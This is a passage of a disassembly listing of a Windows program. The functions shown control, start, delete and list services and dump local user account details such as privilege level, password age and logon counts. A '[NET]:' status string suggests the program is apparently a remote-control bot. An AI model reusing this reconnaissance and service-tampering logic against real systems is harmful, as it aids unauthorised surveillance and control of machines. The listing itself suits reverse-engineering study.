[esp+0Ch+arg_8] inc esi mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_406B97 pop ebx loc_406BB4: ; CODE XREF: sub_406B7A+18j pop edi pop esi retn sub_406B7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406BB7 proc near ; CODE XREF: sub_401FDF+10p ; sub_402011+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_414630 mov eax, [ebp+arg_0] lea edx, [eax+1] loc_406BCA: ; CODE XREF: sub_406BB7+18j mov cl, [eax] inc eax test cl, cl jnz short loc_406BCA sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+arg_4] lea ecx, [eax+1] loc_406BDC: ; CODE XREF: sub_406BB7+2Aj mov dl, [eax] inc eax test dl, dl jnz short loc_406BDC push ebx push esi sub eax, ecx mov esi, eax push edi lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_406B7A add esp, 0Ch dec esi mov edi, esi jmp short loc_406C79 ; --------------------------------------------------------------------------- loc_406C05: ; CODE XREF: sub_406BB7+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41540C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41540C cmp eax, ebx pop ecx pop ecx jz short loc_406C77 loc_406C27: ; CODE XREF: sub_406BB7+BEj mov ebx, [ebp+arg_0] xor eax, eax mov al, [edi+ebx] push eax call sub_4067CC mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_406C4A mov eax, ecx loc_406C4A: ; CODE XREF: sub_406BB7+8Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_406C87 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41540C movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_41540C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_406C27 loc_406C77: ; CODE XREF: sub_406BB7+6Ej dec edi dec esi loc_406C79: ; CODE XREF: sub_406BB7+4Cj test esi, esi jg short loc_406C05 mov eax, [ebp+arg_0] add eax, edi loc_406C82: ; CODE XREF: sub_406BB7+D2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_406C87: ; CODE XREF: sub_406BB7+98j xor eax, eax jmp short loc_406C82 sub_406BB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C8B proc near ; CODE XREF: sub_40776C+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi push 0F003Fh xor ebx, ebx push ebx push ebx call dword_4358C4 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_406CB2 call ds:dword_420008 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_406D27 ; --------------------------------------------------------------------------- loc_406CB2: ; CODE XREF: sub_406C8B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_435940 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_406CD2 call ds:dword_420008 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_406D1F ; --------------------------------------------------------------------------- loc_406CD2: ; CODE XREF: sub_406C8B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_406D05 cmp eax, 3 jz short loc_406CF6 jle short loc_406D18 cmp eax, 6 jg short loc_406D18 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4358E8 ; ControlService jmp short loc_406D0C ; --------------------------------------------------------------------------- loc_406CF6: ; CODE XREF: sub_406C8B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4358CC ; StartServiceA jmp short loc_406D0C ; --------------------------------------------------------------------------- loc_406D05: ; CODE XREF: sub_406C8B+4Dj push esi call dword_4357FC ; DeleteService loc_406D0C: ; CODE XREF: sub_406C8B+69j ; sub_406C8B+78j test eax, eax jnz short loc_406D18 call ds:dword_420008 ; RtlGetLastWin32Error mov ebx, eax loc_406D18: ; CODE XREF: sub_406C8B+54j ; sub_406C8B+59j ... push esi call dword_435838 ; CloseServiceHandle loc_406D1F: ; CODE XREF: sub_406C8B+45j push edi call dword_435838 ; CloseServiceHandle pop esi loc_406D27: ; CODE XREF: sub_406C8B+25j pop edi mov eax, ebx pop ebx leave retn sub_406C8B endp ; =============== S U B R O U T I N E ======================================= sub_406D2D proc near ; CODE XREF: sub_40776C:loc_4077B4p mov ecx, 420h cmp eax, ecx ja loc_406DDE jz loc_406DD7 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_406DA1 jz short loc_406D97 mov ecx, eax sub ecx, 3 jz short loc_406D8D dec ecx dec ecx jz short loc_406D83 dec ecx jz short loc_406D79 sub ecx, 51h jz short loc_406D6F sub ecx, 24h jnz loc_406E54 ; default ; jumptable 00406DFB cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_406E46 ; --------------------------------------------------------------------------- loc_406D6F: ; CODE XREF: sub_406D2D+2Dj push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_406E46 ; --------------------------------------------------------------------------- loc_406D79: ; CODE XREF: sub_406D2D+28j push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_406E46 ; --------------------------------------------------------------------------- loc_406D83: ; CODE XREF: sub_406D2D+25j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_406E46 ; --------------------------------------------------------------------------- loc_406D8D: ; CODE XREF: sub_406D2D+21j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_406E46 ; --------------------------------------------------------------------------- loc_406D97: ; CODE XREF: sub_406D2D+1Aj push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_406E46 ; --------------------------------------------------------------------------- loc_406DA1: ; CODE XREF: sub_406D2D+18j mov ecx, eax sub ecx, 41Ch jz short loc_406DD0 dec ecx jz short loc_406DC9 dec ecx jz short loc_406DC2 dec ecx jnz loc_406E54 ; default ; jumptable 00406DFB cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_406E46 ; --------------------------------------------------------------------------- loc_406DC2: ; CODE XREF: sub_406D2D+82j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406DC9: ; CODE XREF: sub_406D2D+7Fj push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406DD0: ; CODE XREF: sub_406D2D+7Cj push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406DD7: ; CODE XREF: sub_406D2D+Dj push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406DDE: ; CODE XREF: sub_406D2D+7j mov ecx, 45Bh cmp eax, ecx ja short loc_406E54 ; default ; jumptable 00406DFB cases 1,5,6,8,9,12,13,15,16 jz short loc_406E41 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_406E54 ; default ; jumptable 00406DFB cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_406E95[ecx] jmp ds:off_406E6D[ecx*4] ; switch jump loc_406E02: ; DATA XREF: .text:off_406E6Do push offset aTheSpecifiedDa ; jumptable 00406DFB case 7 jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406E09: ; CODE XREF: sub_406D2D+CEj ; DATA XREF: .text:off_406E6Do push offset aTheServiceDepe ; jumptable 00406DFB case 17 jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406E10: ; CODE XREF: sub_406D2D+CEj ; DATA XREF: .text:off_406E6Do push offset aTheServiceDe_0 ; jumptable 00406DFB case 10 jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406E17: ; CODE XREF: sub_406D2D+CEj ; DATA XREF: .text:off_406E6Do push offset aTheServiceHasB ; jumptable 00406DFB case 0 jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406E1E: ; CODE XREF: sub_406D2D+CEj ; DATA XREF: .text:off_406E6Do push offset aTheSpecified_0 ; jumptable 00406DFB case 2 jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406E25: ; CODE XREF: sub_406D2D+CEj ; DATA XREF: .text:off_406E6Do push offset aTheServiceCoul ; jumptable 00406DFB case 11 jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406E2C: ; CODE XREF: sub_406D2D+CEj ; DATA XREF: .text:off_406E6Do push offset aTheServiceHa_0 ; jumptable 00406DFB case 14 jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406E33: ; CODE XREF: sub_406D2D+CEj ; DATA XREF: .text:off_406E6Do push offset aTheRequested_1 ; jumptable 00406DFB case 3 jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406E3A: ; CODE XREF: sub_406D2D+CEj ; DATA XREF: .text:off_406E6Do push offset aTheServiceHasN ; jumptable 00406DFB case 4 jmp short loc_406E46 ; --------------------------------------------------------------------------- loc_406E41: ; CODE XREF: sub_406D2D+BAj push offset aTheSystemIsShu ; "The system is shutting down." loc_406E46: ; CODE XREF: sub_406D2D+3Dj ; sub_406D2D+47j ... push offset dword_435BC8 call sub_414415 pop ecx pop ecx jmp short loc_406E67 ; --------------------------------------------------------------------------- loc_406E54: ; CODE XREF: sub_406D2D+32j ; sub_406D2D+85j ... push eax ; default ; jumptable 00406DFB cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_435BC8 call sub_414415 add esp, 0Ch loc_406E67: ; CODE XREF: sub_406D2D+125j mov eax, offset dword_435BC8 retn sub_406D2D endp ; --------------------------------------------------------------------------- off_406E6D dd offset loc_406E17 ; DATA XREF: sub_406D2D+CEr dd offset loc_406E1E ; jump table for switch statement dd offset loc_406E33 dd offset loc_406E3A dd offset loc_406E02 dd offset loc_406E10 dd offset loc_406E25 dd offset loc_406E2C dd offset loc_406E09 dd offset loc_406E54 byte_406E95 db 0, 9, 1, 2 ; DATA XREF: sub_406D2D+C7r db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406EA7 proc near ; CODE XREF: sub_4089DC+1C32p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4358C4 ; OpenSCManagerA push ebx push [ebp+arg_8] mov [ebp+var_C], eax push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 14h loc_406EDF: ; CODE XREF: sub_406EA7+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push 168h lea eax, [ebp+var_18C] push eax push 3 push 30h push [ebp+var_C] call dword_4358D4 ; EnumServicesStatusA test eax, eax jnz short loc_406F19 call ds:dword_420008 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_406FD0 loc_406F19: ; CODE XREF: sub_406EA7+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_406FC7 lea esi, [ebp+var_188] loc_406F2A: ; CODE XREF: sub_406EA7+11Aj mov eax, [esi+8] dec eax jz short loc_406F76 dec eax jz short loc_406F6F dec eax jz short loc_406F68 dec eax jz short loc_406F61 dec eax jz short loc_406F5A dec eax jz short loc_406F53 dec eax lea eax, [ebp+var_20] jz short loc_406F4C push offset aUnknown_0 ; " Unknown" jmp short loc_406F7E ; --------------------------------------------------------------------------- loc_406F4C: ; CODE XREF: sub_406EA7+9Cj push offset aPaused_0 ; " Paused" jmp short loc_406F7E ; --------------------------------------------------------------------------- loc_406F53: ; CODE XREF: sub_406EA7+96j push offset aPausing ; " Pausing" jmp short loc_406F7B ; --------------------------------------------------------------------------- loc_406F5A: ; CODE XREF: sub_406EA7+93j push offset aContinuing ; " Continuing" jmp short loc_406F7B ; --------------------------------------------------------------------------- loc_406F61: ; CODE XREF: sub_406EA7+90j push offset aRunning ; " Running" jmp short loc_406F7B ; --------------------------------------------------------------------------- loc_406F68: ; CODE XREF: sub_406EA7+8Dj push offset aStoping ; " Stoping" jmp short loc_406F7B ; --------------------------------------------------------------------------- loc_406F6F: ; CODE XREF: sub_406EA7+8Aj push offset aStarting ; " Starting" jmp short loc_406F7B ; --------------------------------------------------------------------------- loc_406F76: ; CODE XREF: sub_406EA7+87j push offset aStopped ; " Stopped" loc_406F7B: ; CODE XREF: sub_406EA7+B1j ; sub_406EA7+B8j ... lea eax, [ebp+var_20] loc_406F7E: ; CODE XREF: sub_406EA7+A3j ; sub_406EA7+AAj push eax call sub_414415 pop ecx pop ecx push dword ptr [esi] lea eax, [ebp+var_20] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_0 ; "%s: %s (%s)" push eax call sub_414415 push 1 push [ebp+arg_8] lea eax, [ebp+var_38C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4056BF add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_406F2A loc_406FC7: ; CODE XREF: sub_406EA7+77j cmp [ebp+var_8], ebx jnz loc_406EDF loc_406FD0: ; CODE XREF: sub_406EA7+6Cj push [ebp+var_C] call dword_435838 ; CloseServiceHandle xor eax, eax cmp eax, [ebp+var_4] pop edi sbb eax, eax pop esi neg eax pop ebx leave retn sub_406EA7 endp ; =============== S U B R O U T I N E ======================================= sub_406FE7 proc near ; CODE XREF: sub_4070A9+Ap ; sub_4070A9+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_406FF4 pop ebp retn ; --------------------------------------------------------------------------- loc_406FF4: ; CODE XREF: sub_406FE7+9j push ebx push esi mov esi, ds:dword_4200D4 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_41542E pop ecx push edi mov ebx, eax push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi pop esi mov eax, ebx pop ebx pop ebp retn sub_406FE7 endp ; =============== S U B R O U T I N E ======================================= sub_407028 proc near ; CODE XREF: sub_40FE91+248p arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_20 = dword ptr 24h mov eax, offset loc_41F9CD call sub_415890 push esi xor esi, esi cmp [esp+4+arg_10], esi jnz short loc_40703F xor eax, eax jmp short loc_40709B ; --------------------------------------------------------------------------- loc_40703F: ; CODE XREF: sub_407028+11j push ebx push ebp push edi mov edi, ds:dword_4200D8 push esi push esi push esi push esi push 0FFFFFFFFh push [esp+24h+arg_10] mov ebx, 400h push ebx push esi call edi ; WideCharToMultiByte test byte ptr dword_435C28, 1 mov ebp, eax jnz short loc_407080 or dword_435C28, 1 lea eax, [ebp+1] push eax mov [esp+4+arg_14], esi call sub_41542E pop ecx loc_40707B: ; DATA XREF: .data:0042CC6Co ; .data:0042CC80o ... mov dword_435C24, eax loc_407080: ; CODE XREF: sub_407028+3Cj push esi push esi push ebp push dword_435C24 push 0FFFFFFFFh push [esp+14h+arg_20] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_435C24 pop edi pop ebp pop ebx loc_40709B: ; CODE XREF: sub_407028+15j mov ecx, [esp+4] pop esi mov large fs:0, ecx leave retn sub_407028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070A9 proc near ; CODE XREF: sub_4077E4+6Cp ; sub_4101B8+18Fp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push edi push [ebp+arg_0] call sub_406FE7 push [ebp+arg_4] mov edi, eax call sub_406FE7 push 24h push [ebp+arg_4] mov [ebp+var_24], eax call sub_4158C0 push [ebp+arg_8] neg eax sbb eax, eax and [ebp+var_1C], 0 or [ebp+var_14], 0FFFFFFFFh and [ebp+var_10], 0 and eax, 80000000h mov [ebp+var_20], eax mov [ebp+var_18], 7Fh call sub_406FE7 and [ebp+var_8], 0 add esp, 14h mov [ebp+var_C], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push 2 push edi call dword_4357F0 pop edi leave retn sub_4070A9 endp ; =============== S U B R O U T I N E ======================================= sub_407114 proc near ; CODE XREF: sub_4077E4+20p ; sub_40FE91+1BDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_406FE7 push [esp+8+arg_4] mov esi, eax call sub_406FE7 pop ecx pop ecx push 0 push eax push esi call dword_43580C pop esi retn sub_407114 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407137 proc near ; CODE XREF: sub_4079C1+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_406FE7 push [ebp+arg_4] mov edi, eax call sub_406FE7 push [ebp+arg_8] mov [ebp+var_24], eax call sub_406FE7 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 add esp, 0Ch lea ecx, [ebp+var_4] push ecx mov [ebp+var_20], eax xor eax, eax lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4357D4 pop edi leave retn sub_407137 endp ; =============== S U B R O U T I N E ======================================= sub_407191 proc near ; CODE XREF: sub_4079C1+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_406FE7 push [esp+8+arg_4] mov esi, eax call sub_406FE7 pop ecx pop ecx push eax push esi call dword_4358D0 pop esi retn sub_407191 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071B2 proc near ; CODE XREF: sub_4079C1+2Dp var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 208h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_406FE7 push [ebp+arg_4] mov esi, eax call sub_406FE7 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4357F4 test eax, eax mov [ebp+var_8], eax jnz loc_40753F mov eax, [ebp+var_4] test eax, eax jz loc_40757A push ebx push edi push dword ptr [eax] lea eax, [ebp+var_208] push offset aAccountS ; "Account: %S" push eax call sub_414415 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_208] push offset aFullNameS ; "Full Name: %S" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_208] push offset aUserCommentS ; "User Comment: %S" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_208] push offset aCommentS ; "Comment: %S" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] mov eax, [eax+10h] add esp, 40h sub eax, 0 jz short loc_4072CB dec eax jz short loc_4072C4 dec eax jz short loc_4072BD mov eax, offset aUnknown ; "Unknown" jmp short loc_4072D0 ; --------------------------------------------------------------------------- loc_4072BD: ; CODE XREF: sub_4071B2+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_4072D0 ; --------------------------------------------------------------------------- loc_4072C4: ; CODE XREF: sub_4071B2+FFj mov eax, offset aUser_1 ; "User" jmp short loc_4072D0 ; --------------------------------------------------------------------------- loc_4072CB: ; CODE XREF: sub_4071B2+FCj mov eax, offset aGuest ; "Guest" loc_4072D0: ; CODE XREF: sub_4071B2+109j ; sub_4071B2+110j ... push eax lea eax, [ebp+var_208] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_208] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_208] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_208] push offset aParametersS ; "Parameters: %S" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_208] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_208] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_208] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_208] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_208] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_208] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_208] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_208] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_208] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_208] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_208] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_414415 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_4056BF add esp, 20h pop edi pop ebx jmp short loc_40756B ; --------------------------------------------------------------------------- loc_40753F: ; CODE XREF: sub_4071B2+35j push eax lea eax, [ebp+var_208] push offset aNetUserInfoErr ; "[NET]: User info error: <%ld>" push eax call sub_414415 push 0 push [ebp+arg_10] lea eax, [ebp+var_208] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_4056BF add esp, 20h loc_40756B: ; CODE XREF: sub_4071B2+38Bj cmp [ebp+var_4], 0 jz short loc_40757A push [ebp+var_4] call dword_435840 loc_40757A: ; CODE XREF: sub_4071B2+40j ; sub_4071B2+3BDj mov eax, [ebp+var_8] pop esi leave retn sub_4071B2 endp ; =============== S U B R O U T I N E ======================================= sub_407580 proc near ; CODE XREF: sub_4076B0+9Ep ; sub_4077E4:loc_407824p ... mov ecx, 858h cmp eax, ecx ja loc_40762E jz loc_407627 cmp eax, 7Bh ja short loc_4075F3 jz short loc_4075E9 cmp eax, 5 jz short loc_4075DF cmp eax, 8 jz short loc_4075D5 cmp eax, 32h jz short loc_4075CB cmp eax, 35h jz short loc_4075C1 cmp eax, 57h jnz loc_40767D push offset aInvalidParamet ; "Invalid parameter." jmp loc_40769E ; --------------------------------------------------------------------------- loc_4075C1: ; CODE XREF: sub_407580+2Cj push offset aServerNameNotF ; "Server name not found." jmp loc_40769E ; --------------------------------------------------------------------------- loc_4075CB: ; CODE XREF: sub_407580+27j push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40769E ; --------------------------------------------------------------------------- loc_4075D5: ; CODE XREF: sub_407580+22j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40769E ; --------------------------------------------------------------------------- loc_4075DF: ; CODE XREF: sub_407580+1Dj push offset aAccessDenied_ ; "Access denied." jmp loc_40769E ; --------------------------------------------------------------------------- loc_4075E9: ; CODE XREF: sub_407580+18j push offset aTheNameIsInval ; "The name is invalid." jmp loc_40769E ; --------------------------------------------------------------------------- loc_4075F3: ; CODE XREF: sub_407580+16j sub eax, 7Ch jz short loc_407620 sub eax, 7C8h jz short loc_407619 dec eax jz short loc_40760F dec eax jnz short loc_40767D push offset aDuplicateShare ; "Duplicate share name." jmp loc_40769E ; --------------------------------------------------------------------------- loc_40760F: ; CODE XREF: sub_407580+80j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40769E ; --------------------------------------------------------------------------- loc_407619: ; CODE XREF: sub_407580+7Dj push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40769E ; --------------------------------------------------------------------------- loc_407620: ; CODE XREF: sub_407580+76j push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40769E ; --------------------------------------------------------------------------- loc_407627: ; CODE XREF: sub_407580+Dj push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40769E ; --------------------------------------------------------------------------- loc_40762E: ; CODE XREF: sub_407580+7j mov ecx, 8C5h cmp eax, ecx ja short loc_407667 jz short loc_407660 sub eax, 8ADh jz short loc_407692 dec eax dec eax jz short loc_407659 dec eax jz short loc_407652 dec eax dec eax jnz short loc_40767D push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40769E ; --------------------------------------------------------------------------- loc_407652: ; CODE XREF: sub_407580+C5j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40769E ; --------------------------------------------------------------------------- loc_407659: ; CODE XREF: sub_407580+C2j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40769E ; --------------------------------------------------------------------------- loc_407660: ; CODE XREF: sub_407580+B7j push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40769E ; --------------------------------------------------------------------------- loc_407667: ; CODE XREF: sub_407580+B5j sub eax, 8CAh jz short loc_407699 sub eax, 17h jz short loc_407692 sub eax, 25h jz short loc_40768B sub eax, 29h jz short loc_407684 loc_40767D: ; CODE XREF: sub_407580+31j ; sub_407580+83j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40769E ; --------------------------------------------------------------------------- loc_407684: ; CODE XREF: sub_407580+FBj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40769E ; --------------------------------------------------------------------------- loc_40768B: ; CODE XREF: sub_407580+F6j push offset aShareNotFound_ ; "Share not found." jmp short loc_40769E ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_407580+BEj ; sub_407580+F1j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40769E ; --------------------------------------------------------------------------- loc_407699: ; CODE XREF: sub_407580+ECj push offset aNetworkConnect ; "Network connection not found." loc_40769E: ; CODE XREF: sub_407580+3Cj ; sub_407580+46j ... push offset dword_435C30 call sub_414415 pop ecx pop ecx mov eax, offset dword_435C30 retn sub_407580 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076B0 proc near ; CODE XREF: sub_4089DC+1E04p var_71C = byte ptr -71Ch var_31C = byte ptr -31Ch var_10C = byte ptr -10Ch var_4 = dword ptr -4 arg_0 = 